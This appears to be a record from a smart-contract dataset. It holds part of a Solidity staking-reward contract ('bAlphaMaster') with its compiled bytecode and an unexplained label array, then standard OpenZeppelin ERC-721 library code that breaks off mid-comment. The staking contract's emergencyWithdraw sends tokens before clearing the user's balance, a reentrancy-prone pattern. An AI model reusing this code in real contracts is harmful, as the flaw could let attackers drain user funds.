allocPoint; uint256 lastRewardBlock; uint256 rewardPerShare; } bAlphaToken public bAlpha; uint256 public REWARD_PER_BLOCK; uint256[] public REWARD_MULTIPLIER = [688, 413, 310, 232, 209, 188, 169, 152, 137, 123, 111, 100]; uint256[] public HALVING_AT_BLOCK; uint256 public FINISH_BONUS_AT_BLOCK; uint256 public START_BLOCK; // Info of each pool. PoolInfo[] public poolInfo; mapping(address => uint256) public poolId1; // poolId1 count from 1, subtraction 1 before using with poolInfo // Info of each user that stakes LP tokens. pid => user address => info mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); event SendReward(address indexed user, uint256 indexed pid, uint256 amount); constructor( bAlphaToken _bAlpha, uint256 _rewardPerBlock, uint256 _startBlock, uint256 _halvingAfterBlock ) public { bAlpha = _bAlpha; REWARD_PER_BLOCK = _rewardPerBlock; START_BLOCK = _startBlock; for (uint256 i = 0; i < REWARD_MULTIPLIER.length - 1; i++) { uint256 halvingAtBlock = _halvingAfterBlock.mul(i + 1).add(_startBlock); HALVING_AT_BLOCK.push(halvingAtBlock); } FINISH_BONUS_AT_BLOCK = _halvingAfterBlock.mul(REWARD_MULTIPLIER.length - 1).add(_startBlock); HALVING_AT_BLOCK.push(uint256(-1)); } // -------- For manage pool --------- function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { require(poolId1[address(_lpToken)] == 0, "bAlphaMaster::add: lp is already in pool"); if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > START_BLOCK ? block.number : START_BLOCK; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolId1[address(_lpToken)] = poolInfo.length + 1; poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, rewardPerShare: 0 })); } function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 reward = getPoolReward(pool.lastRewardBlock, block.number, pool.allocPoint); bAlpha.mint(address(this), reward); pool.rewardPerShare = pool.rewardPerShare.add(reward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // --------- For user ---------------- function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.rewardPerShare).div(1e12).sub(user.rewardDebt); if(pending > 0) { safeTransferReward(msg.sender, pending); } } if(_amount > 0) { pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); } user.rewardDebt = user.amount.mul(pool.rewardPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.rewardPerShare).div(1e12).sub(user.rewardDebt); if(pending > 0) { safeTransferReward(msg.sender, pending); } if(_amount > 0) { user.amount = user.amount.sub(_amount); pool.lpToken.safeTransfer(address(msg.sender), _amount); } user.rewardDebt = user.amount.mul(pool.rewardPerShare).div(1e12); emit Withdraw(msg.sender, _pid, _amount); } function claimReward(uint256 _pid) public { deposit(_pid, 0); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // ----------------------------- function safeTransferReward(address _to, uint256 _amount) internal { uint256 bal = bAlpha.balanceOf(address(this)); if (_amount > bal) { bAlpha.transfer(_to, bal); } else { bAlpha.transfer(_to, _amount); } } // GET INFO for UI function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { uint256 result = 0; if (_from < START_BLOCK) return 0; for (uint256 i = 0; i < HALVING_AT_BLOCK.length; i++) { uint256 endBlock = HALVING_AT_BLOCK[i]; if (_to <= endBlock) { uint256 m = _to.sub(_from).mul(REWARD_MULTIPLIER[i]); return result.add(m); } if (_from < endBlock) { uint256 m = endBlock.sub(_from).mul(REWARD_MULTIPLIER[i]); _from = endBlock; result = result.add(m); } } return result; } function getPoolReward(uint256 _from, uint256 _to, uint256 _allocPoint) public view returns (uint) { uint256 multiplier = getMultiplier(_from, _to); uint256 amount = (multiplier.mul(REWARD_PER_BLOCK).mul(_allocPoint).div(totalAllocPoint)).div(100); uint256 amountCanMint = bAlpha.cap().sub(bAlpha.totalSupply()); return amountCanMint < amount ? amountCanMint : amount; } function getRewardPerBlock(uint256 pid1) public view returns (uint256) { uint256 multiplier = getMultiplier(block.number -1, block.number); if (pid1 == 0) { return (multiplier.mul(REWARD_PER_BLOCK)).div(100); } else { return (multiplier .mul(REWARD_PER_BLOCK) .mul(poolInfo[pid1 - 1].allocPoint) .div(totalAllocPoint)) .div(100); } } function pendingReward(uint256 _pid, address _user) public view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 rewardPerShare = pool.rewardPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply > 0) { uint256 reward = getPoolReward(pool.lastRewardBlock, block.number, pool.allocPoint); rewardPerShare = rewardPerShare.add(reward.mul(1e12).div(lpSupply)); } return user.amount.mul(rewardPerShare).div(1e12).sub(user.rewardDebt); } function poolLength() public view returns (uint256) { return poolInfo.length; } function getStakedAmount(uint _pid, address _user) public view returns (uint256) { UserInfo storage user = userInfo[_pid][_user]; return user.amount; } }
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c8063715018a6116100f957806398969e8211610097578063ce2529c911610071578063ce2529c914610484578063d8db39d7146104aa578063e2bbb158146104b2578063f2fde38b146104d5576101a9565b806398969e8214610412578063ae169a501461043e578063c8ed76801461045b576101a9565b80638dbb1e3a116100d35780638dbb1e3a1461039a57806393f1a40b146103bd578063975532dc14610402578063980c2a981461040a576101a9565b8063715018a6146103515780637b550bc9146103595780638da5cb5b14610376576101a9565b80633a71ede81161016657806351eb05a61161014057806351eb05a6146102e45780635312ea8e14610301578063630b5ba11461031e57806364482f7914610326576101a9565b80633a71ede8146102785780634179b4fb146102a4578063441a3e70146102c1576101a9565b8063081e3eda146101ae5780631526fe27146101c857806317caf6f1146102155780631eaaa0451461021d5780632fda77351461025357806339b3e82614610270575b600080fd5b6101b66104fb565b60408051918252519081900360200190f35b6101e5600480360360208110156101de57600080fd5b5035610501565b604080516001600160a01b0390951685526020850193909352838301919091526060830152519081900360800190f35b6101b6610542565b6102516004803603606081101561023357600080fd5b508035906001600160a01b0360208201351690604001351515610548565b005b6101b66004803603602081101561026957600080fd5b5035610736565b6101b6610754565b6101b66004803603604081101561028e57600080fd5b50803590602001356001600160a01b031661075a565b6101b6600480360360208110156102ba57600080fd5b5035610784565b610251600480360360408110156102d757600080fd5b5080359060200135610791565b610251600480360360208110156102fa57600080fd5b50356108f0565b6102516004803603602081101561031757600080fd5b5035610a69565b610251610b04565b6102516004803603606081101561033c57600080fd5b50803590602081013590604001351515610b27565b610251610c02565b6101b66004803603602081101561036f57600080fd5b5035610cae565b61037e610d37565b604080516001600160a01b039092168252519081900360200190f35b6101b6600480360360408110156103b057600080fd5b5080359060200135610d46565b6103e9600480360360408110156103d357600080fd5b50803590602001356001600160a01b0316610e24565b6040805192835260208301919091528051918290030190f35b6101b6610e48565b6101b6610e4e565b6101b66004803603604081101561042857600080fd5b50803590602001356001600160a01b0316610e54565b6102516004803603602081101561045457600080fd5b5035610f94565b6101b66004803603606081101561047157600080fd5b5080359060208101359060400135610f9f565b6101b66004803603602081101561049a57600080fd5b50356001600160a01b03166110ea565b61037e6110fc565b610251600480360360408110156104c857600080fd5b508035906020013561110b565b610251600480360360208110156104eb57600080fd5b50356001600160a01b031661121d565b60075490565b6007818154811061050e57fe5b600091825260209091206004909102018054600182015460028301546003909301546001600160a01b039092169350919084565b600a5481565b6105506113d2565b6001600160a01b0316610561610d37565b6001600160a01b0316146105aa576040805162461bcd60e51b81526020600482018190526024820152600080516020611a36833981519152604482015290519081900360640190fd5b6001600160a01b038216600090815260086020526040902054156105ff5760405162461bcd60e51b8152600401808060200182810382526028815260200180611a0e6028913960400191505060405180910390fd5b801561060d5761060d610b04565b6000600654431161062057600654610622565b435b600a549091506106329085611378565b600a55600780546001600160a01b03948516600081815260086020908152604080832060019586019055805160808101825293845290830198895282019485526060820181815284549384018555939052517fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c688600490920291820180546001600160a01b031916919096161790945593517fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c689840155517fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68a8301555090517fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68b90910155565b6003818154811061074357fe5b600091825260209091200154905081565b60065481565b60008281526009602090815260408083206001600160a01b03851684529091529020545b92915050565b6004818154811061074357fe5b6000600783815481106107a057fe5b600091825260208083208684526009825260408085203386529092529220805460049092029092019250831115610813576040805162461bcd60e51b81526020600482015260126024820152711dda5d1a191c985dce881b9bdd0819dbdbd960721b604482015290519081900360640190fd5b61081c846108f0565b6000610856826001015461085064e8d4a5100061084a8760030154876000015461131f90919063ffffffff16565b906113d6565b9061143d565b9050801561086857610868338261149a565b831561089257815461087a908561143d565b82558254610892906001600160a01b0316338661162b565b600383015482546108ad9164e8d4a510009161084a9161131f565b6001830155604080518581529051869133917ff279e6a1f5e320cca91135676d9cb6e44ca8a08c0b88342bcdb1144f6511b5689181900360200190a35050505050565b6000600782815481106108ff57fe5b90600052602060002090600402019050806002015443116109205750610a66565b8054604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561096a57600080fd5b505afa15801561097e573d6000803e3d6000fd5b505050506040513d602081101561099457600080fd5b50519050806109aa575043600290910155610a66565b60006109bf8360020154438560010154610f9f565b600154604080516340c10f1960e01b81523060048201526024810184905290519293506001600160a01b03909116916340c10f199160448082019260009290919082900301818387803b158015610a1557600080fd5b505af1158015610a29573d6000803e3d6000fd5b50505050610a57610a4c8361084a64e8d4a510008561131f90919063ffffffff16565b600385015490611378565b60038401555050436002909101555b50565b600060078281548110610a7857fe5b60009182526020808320858452600982526040808520338087529352909320805460049093029093018054909450610abd926001600160a01b0391909116919061162b565b80546040805191825251849133917fbb757047c2b5f3974fe26b7c10f732e7bce710b0952a71082702781e62ae05959181900360200190a360008082556001909101555050565b60075460005b81811015610b2357610b1b816108f0565b600101610b0a565b5050565b610b2f6113d2565b6001600160a01b0316610b40610d37565b6001600160a01b031614610b89576040805162461bcd60e51b81526020600482018190526024820152600080516020611a36833981519152604482015290519081900360640190fd5b8015610b9757610b97610b04565b610bd482610bce60078681548110610bab57fe5b906000526020600020906004020160010154600a5461143d90919063ffffffff16565b90611378565b600a819055508160078481548110610be857fe5b906000526020600020906004020160010181905550505050565b610c0a6113d2565b6001600160a01b0316610c1b610d37565b6001600160a01b031614610c64576040805162461bcd60e51b81526020600482018190526024820152600080516020611a36833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600080610cbe6001430343610d46565b905082610ce757610cdf606461084a6002548461131f90919063ffffffff16565b915050610d32565b610cdf606461084a600a5461084a60076001890381548110610d0557fe5b906000526020600020906004020160010154610d2c6002548861131f90919063ffffffff16565b9061131f565b919050565b6000546001600160a01b031690565b6006546000908190841015610d5f57600091505061077e565b60005b600454811015610e1c57600060048281548110610d7b57fe5b90600052602060002001549050808511610dce576000610db760038481548110610da157fe5b600091825260209091200154610d2c888a61143d565b9050610dc38482611378565b94505050505061077e565b80861015610e13576000610dfe60038481548110610de857fe5b600091825260209091200154610d2c848a61143d565b91965086919050610e0f8482611378565b9350505b50600101610d62565b509392505050565b60096020908152600092835260408084209091529082529020805460019091015482565b60025481565b60055481565b60008060078481548110610e6457fe5b600091825260208083208784526009825260408085206001600160a01b03898116875290845281862060049586029093016003810154815484516370a0823160e01b81523098810198909852935191985093969395939492909116926370a08231926024808301939192829003018186803b158015610ee257600080fd5b505afa158015610ef6573d6000803e3d6000fd5b505050506040513d6020811015610f0c57600080fd5b5051600285015490915043118015610f245750600081115b15610f61576000610f3e8560020154438760010154610f9f565b9050610f5d610f568361084a8464e8d4a5100061131f565b8490611378565b9250505b610f89836001015461085064e8d4a5100061084a86886000015461131f90919063ffffffff16565b979650505050505050565b610a6681600061110b565b600080610fac8585610d46565b90506000610fd4606461084a600a5461084a88610d2c6002548961131f90919063ffffffff16565b905060006110cc600160009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561102957600080fd5b505afa15801561103d573d6000803e3d6000fd5b505050506040513d602081101561105357600080fd5b505160015460408051631aa93a7560e11b815290516001600160a01b039092169163355274ea91600480820192602092909190829003018186803b15801561109a57600080fd5b505afa1580156110ae573d6000803e3d6000fd5b505050506040513d60208110156110c457600080fd5b50519061143d565b90508181106110db57816110dd565b805b93505050505b9392505050565b60086020526000908152604090205481565b6001546001600160a01b031681565b60006007838154811061111a57fe5b6000918252602080832086845260098252604080852033865290925292206004909102909101915061114b846108f0565b805415611194576000611180826001015461085064e8d4a5100061084a8760030154876000015461131f90919063ffffffff16565b9050801561119257611192338261149a565b505b82156111c05781546111b1906001600160a01b031633308661167d565b80546111bd9084611378565b81555b600382015481546111db9164e8d4a510009161084a9161131f565b6001820155604080518481529051859133917f90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a159181900360200190a350505050565b6112256113d2565b6001600160a01b0316611236610d37565b6001600160a01b03161461127f576040805162461bcd60e51b81526020600482018190526024820152600080516020611a36833981519152604482015290519081900360640190fd5b6001600160a01b0381166112c45760405162461bcd60e51b81526004018080602001828103825260268152602001806119a16026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008261132e5750600061077e565b8282028284828161133b57fe5b04146110e35760405162461bcd60e51b81526004018080602001828103825260218152602001806119ed6021913960400191505060405180910390fd5b6000828201838110156110e3576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b3390565b600080821161142c576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b81838161143557fe5b049392505050565b600082821115611494576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156114e557600080fd5b505afa1580156114f9573d6000803e3d6000fd5b505050506040513d602081101561150f57600080fd5b50519050808211156115a3576001546040805163a9059cbb60e01b81526001600160a01b038681166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561157157600080fd5b505af1158015611585573d6000803e3d6000fd5b505050506040513d602081101561159b57600080fd5b506116269050565b6001546040805163a9059cbb60e01b81526001600160a01b038681166004830152602482018690529151919092169163a9059cbb9160448083019260209291908290030181600087803b1580156115f957600080fd5b505af115801561160d573d6000803e3d6000fd5b505050506040513d602081101561162357600080fd5b50505b505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526116269084906116dd565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526116d79085906116dd565b50505050565b6060611732826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b031661178e9092919063ffffffff16565b8051909150156116265780806020019051602081101561175157600080fd5b50516116265760405162461bcd60e51b815260040180806020018281038252602a815260200180611a56602a913960400191505060405180910390fd5b606061179d84846000856117a5565b949350505050565b6060824710156117e65760405162461bcd60e51b81526004018080602001828103825260268152602001806119c76026913960400191505060405180910390fd5b6117ef856118f6565b611840576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b6020831061187f5780518252601f199092019160209182019101611860565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146118e1576040519150601f19603f3d011682016040523d82523d6000602084013e6118e6565b606091505b5091509150610f898282866118fc565b3b151590565b6060831561190b5750816110e3565b82511561191b5782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561196557818101518382015260200161194d565b50505050905090810190601f1680156119925780820380516001836020036101000a031916815260200191505b509250505060405180910390fdfe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7762416c7068614d61737465723a3a6164643a206c7020697320616c726561647920696e20706f6f6c4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220050a71ccca5c0c4eed1c13f89b09a3fa82e065a621daac4706be5a7f8184e6db64736f6c634300060c0033
[ 16, 7, 9 ]
0xf2009e048bbe0454359f2ea56c52f288e4197636
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of 